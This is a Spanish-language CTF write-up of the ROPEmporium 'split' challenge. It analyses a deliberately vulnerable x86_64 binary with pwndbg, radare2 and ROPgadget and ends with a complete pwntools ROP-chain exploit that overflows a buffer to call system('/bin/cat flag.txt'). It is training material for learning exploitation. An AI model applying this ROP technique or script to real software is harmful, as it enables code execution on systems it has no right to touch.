split - ROPEmporium
Antes de continuar
Las prácticas que se realizan en este Captura la bandera (CTF) se trata meramente de prácticas formativas que no deberían nunca ser aplicadas a la vida real con fines maliciosos. Han sido avisados.
- Sistema operativo: Debian 13
- Herramientas: pwntools, pwndbg, radare2
- Arquitectura: x86_64
Un poco de contexto
ROPEmporium se trata de una plataforma para practicar lo denominado como Return Oriented Programming, que se trata de una técnica que utiliza pequeñas partes del código de un programa (llamados gadgets) para poder ejecutar código que permita alterar el flujo de ejecución del programa, permitiendo saltar funciones de autenticación (potencialmente realizando un bypass de la autenticación), activar licencias en software propietario o realizar otro tipo de funciones maliciosas.
En este post hablaré de cómo completé el segundo nivel de esta web demostrando brevemente el uso de las herramientas que se exhiben en la explicación (se podrán encontrar explicaciones más detalladas de estas herramientas en un futuro cuando termine la documentación. La voy rellenando conforme aprendo).
El reto
Como podemos ver, tenemos dos ficheros. El primero de ellos (flag.txt) es la flag que se supone debemos leer alterando la ejecución del binario. El segundo fichero (split) se trata del binario al que debemos realizar el ROP.

A continuación comenzaré a depurar el binario para poder observar cómo funciona por dentro. Para esto usaré PwnDBG, una extensión de GDB (Gnu Debugger) que incluye una serie de herramientas que nos vendrán como anillo al dedo más adelante.
gdb ./split
A continuación observaré qué funciones posee el binario usando el comando info functions. Ejecutándolo, me doy cuenta de que además de existir la mítica función main, también están las funciones pwnme y usefulFunction que analizaremos más adelante.

Analizando el binario
Analizando main me doy cuenta de que no posee ninguna vulnerabilidad a simpe vista. Tan solo que ejecuta pwnme y anterior a ese evento, imprime texto en pantalla.
disas main

Seguidamente, procedí a analizar la función pwnme, y detecté la vulnerabilidad (al igual que ocurría en ret2win) que permitía desbordar el buffer debido a la función read.
disas pwnme
Y analizando la función usefulFunction, encuentro que hace una llamada a system. Revisando qué argumento se pasa a la llamada de system, encuentro que se trata de la cadena /bin/ls, por lo que el uso que se le da a esta función, es literalmente listar el contenido del directorio actual.
disas usefulFunction

Podríamos crear una ROP Chain que nos permitiera tomar control de la función system para poder ejecutar lo que quisiéramos (en este caso, leer la flag). Continuando el análisis del binario con rabin2, se desvela que dentro del binario, existe una cadena de caracteres que nos permite en efecto ejecutar una instrucción en el sistema para poder leer el contenido de flag.txt, como bien se puede ver.
rabin -z split
Por lo que buscando algún gadget que me permita eliminar el contenido de rdi y dejarme escribir la dirección de memoria donde se encuentra la cadena /bin/cat flag.txt, podría realizar la ROP Chain que estamos buscando. Por suerte, con ROPgadget, logro encontrar esta misma instrucción.
ROPgadget --binary split | grep "pop rdi"
Por lo que ahora es solo cuestión de encontrar el offset, crear una cadena de instrucciones siguiendo la lógica del objetivo que queremos lograr, y lograr la explotación.
Creación del exploit
Lo primero que tendremos que identificar es el offset. Para ello, usaré las funciones cyclic y cyclic -l para no gastar tiempo de más calculando el offset de forma manual. Con cyclic, generaré una cadena de 80 bytes que insertaré en el binario para provocar el crash.
pwn cyclic -n8 80
A continuación, ejecutaré en PwnDBG el programa insertando esta cadena para provocar el SIGSEGV.
run
Y observando los registros y usando la información que me devuelve rsp, puedo determinar gracias a cyclic -l cual es el offset (en este caso, al igual que en ret2win, 40 bytes).

Con esta información, ya he completado parte del exploit.

Como ya tenemos el offset, necesitamos la instrucción que elimine la cadena /bin/ls del registro rdi. Almacenaré la posición de memoria de esta instrucción en el binario para poder realizar la ROP Chain.
ROPgadget --binary split | grep "pop rdi"
Podríamos poner la dirección de memoria de manera fija, pero en su lugar, indagando en la librería de pwntools, descubrí una función que permite buscar gadgets en un binario, por lo que me resulta bastante útil, y la añadiré al exploit para identificar el gadget.

A continuación veré en qué dirección de memoria se encuentra la cadena /bin/cat flag.txt y añadiré dicha dirección al exploit.
rabin2 -z split | grep cat

De nuevo, añadiré una dirección de memoria más, la de la función system para poder ejecutar la cadena que observamos anteriormente.

Para completar el exploit, añadí un nuevo gadget, que se trata de una instrucción ret cuyo propósito es detener la ejecución del shellcode a la vez que terminar la ejecución del binario. Después, construí la ROP Chain. El resultado es el siguiente.

A continuación dejo el exploit completamente funcional.
#!/usr/bin/env python3
from pwn import *
def print_lines(io):
while True:
try:
line = io.recvline().decode()
success(line)
if "ROPE" in line:
print("\n[i] Shellcode executed sucessfully.\n[#] Press any key to exit...")
input()
except EOFError:
break
context(arch="amd64", os="linux", log_level="info")
p = process("./split")
elf = ELF("./split")
p.recvuntil(b"> ")
offset = 40
info(f"Offset - {offset}")
pop_rdi = ROP(elf).find_gadget(["pop rdi", "ret"])[0]
info(f"pop_rdi Instruction - {hex(pop_rdi)}")
str_address = 0x601060
info(f"cat_flag String - {hex(str_address)}")
system_function = 0x40074b
info(f"system Function - {hex(system_function)}")
ret = ROP(elf).find_gadget(["ret"])[0]
info(f"ret Instruction - {hex(ret)}")
print(f"\n[#] Summary of the shellcode:\n -> 40 bytes to overflow\n -> Eliminate the original string address inside 'rdi'\n -> Add the address of the new string (/bin/cat flag.txt)\n -> Execute the new string\n -> Exit gracefully from the exploit.")
payload = flat(
b"A" * offset,
pop_rdi,
p64(str_address),
p64(system_function),
ret
)
p.sendline(payload)
print_lines(p)Me tomé la molestia de añadir las comprobaciones que notifican si el exploit se ha ejecutado satisfactoriamente.
Explotación
Finalmente, ejecutamos el exploit, y obtenemos la flag, consiguiendo así superar el desafío.
